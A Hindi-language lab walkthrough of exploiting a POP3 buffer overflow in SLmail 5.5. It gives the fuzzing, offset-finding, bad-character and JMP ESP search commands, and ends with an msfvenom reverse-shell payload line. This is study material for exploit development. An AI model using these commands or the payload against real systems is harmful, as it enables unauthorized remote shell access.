
Seattle Lab Mail (SLmail) 5.5 - POP3 में बफ़र ओवरफ़्लो
Seattle Lab Mail (SLmail) 5.5 - POP3 में बफ़र ओवरफ़्लो
सरल स्टैक-आधारित बफ़र ओवरफ़्लो चरण दर चरण
पहले चरण में हम एक सरल स्पाइक स्क्रिप्ट के साथ एप्लिकेशन को Fuzz करेंगे
इस बीच हम SLmail को Immunity Debugger से अटैच (और चालू) रखेंगे
स्पाइक पर अधिक जानकारी: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
यहाँ spike_fuzz.spk नाम की एक सरल स्पाइक स्क्रिप्ट है
हम इसे निम्न कमांड के साथ एप्लिकेशन के विरुद्ध चलाएँगे
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
जहाँ 192.168.1.117 SLMail चलाने वाली लक्ष्य मशीन का IP है और यह पोर्ट 110 पर चल रहा है

इस बीच immunity पर देखेंगे तो हम देखेंगे कि एप्लिकेशन क्रैश हो गया है

अब हम एक पायथन PoC बनाएँगे जो क्रैश को दोहराता है और उन बाइट्स की गणना करता है जिन पर एप्लिकेशन क्रैश होता है
python poc_crash.py

ऑफ़सेट खोजने के लिए हम msf का उपयोग करेंगे
1. पहले एक पैटर्न बनाएँ
2. EIP नोट करें
3. MSF से उस EIP और लंबाई को क्वेरी करके ऑफ़सेट खोजें
msf-pattern_create -l 2700

poc_offset.py में हम इस पैटर्न को अपने ओवरफ़्लो बफ़र के रूप में उपयोग करेंगे!
python poc_offset.py

इस बिंदु पर हम immunity में EIP मान भी नोट करते हैं जहाँ एप्लिकेशन क्रैश हो गया और रुक गया

EIP 39694438 है
::ऑफ़सेट खोजने के लिए::
msf-pattern_offset -l 2700 -q 39694438

ऑफ़सेट 2606 है इसका मतलब है कि EIP तक पहुँचने से पहले 2606 बाइट्स हैं::: और EIP स्वयं 4 बाइट लंबा है
अब हम EIP को 4 B's से ओवरराइट करने का प्रयास करेंगे अर्थात् immunity में हमें 42424242 {4 B's का हेक्स} दिखना चाहिए
python poc_eip_control.py

और अब यदि हम immunity देखें

इसे सरल और छोटा रखने के लिए
आप poc_badchars.py स्क्रिप्ट चला सकते हैं और स्वयं खराब वर्ण खोज सकते हैं
इसे छोटा रखने के लिए
इस अनुप्रयोग में दो खराब वर्ण हैं {जो डिफ़ॉल्ट भी हैं} जब हम poc_badchars.py पहली बार चलाते हैं तो हम देखेंगे कि वर्ण \x0a व्यवहार करता है और फिर हम इसे अपने खराब वर्ण पेलोड से हटाएँगे और स्क्रिप्ट को फिर से चलाएँगे,,, दूसरी बार हम देखेंगे कि वर्ण \x0d छूट गया है तो यह हमारा दूसरा खराब वर्ण है और हम इसे अपने पेलोड से हटा देते हैं :: इसके बाद जब हम तीसरी बार स्क्रिप्ट चलाते हैं तो सब कुछ साफ और अच्छा है!!
खराब वर्ण हैं :: \x00\x0a\x0d
{नल बाइट, लाइन फ़ीड, कैरिज रिटर्न}
python poc_badchars.py
पहले हम immunity में मोना मॉड्यूल का उपयोग करके सही मॉड्यूल खोजते हैं
slmfc.dll सबसे उपयुक्त उम्मीदवार है क्योंकि इसमें मेमोरी सुरक्षा नहीं है!

और अब हम इस DLL में एक JMP ESP पता ढूँढते हैं
यह पता EIP पर लिखा जाएगा ताकि हम प्रोग्राम के निष्पादन को ESP पर रीडायरेक्ट कर सकें जिसके परिणामस्वरूप हमारा शेलकोड निष्पादित होगा!
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 opcode JMP ESP के समकक्ष}

19 पॉइंटर पतों में से हम पहला चुनते हैं
अब हम इन सबको एक साथ रखेंगे और एक शेल ड्रॉप करेंगे
1.) शेल कोड उत्पन्न करें {खराब वर्णों को छोड़कर}
2.) हमें जो पता मिला है उसे जोड़ें {लिटिल एंडियन याद रखें}
3.) बफ़र, रिटर्न एड्रेस, कुछ nop-sleds, शेलकोड जोड़ें
4.) हमारे पास एक शेल है
msfvenom का उपयोग करके तुरंत शेल कोड उत्पन्न करें
msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

हम सब कुछ exploit.py फ़ाइल में एक साथ रखते हैं

अब इस बार हम SLmail को immunity के बिना चलाते हैं और साथ ही आने वाले कनेक्शनों को सुनते हैं
जब यह हो जाएगा, हम अंतिम exploit.py स्क्रिप्ट चलाएंगे!

बहुत बढ़िया, हमारे पास एक शेल है!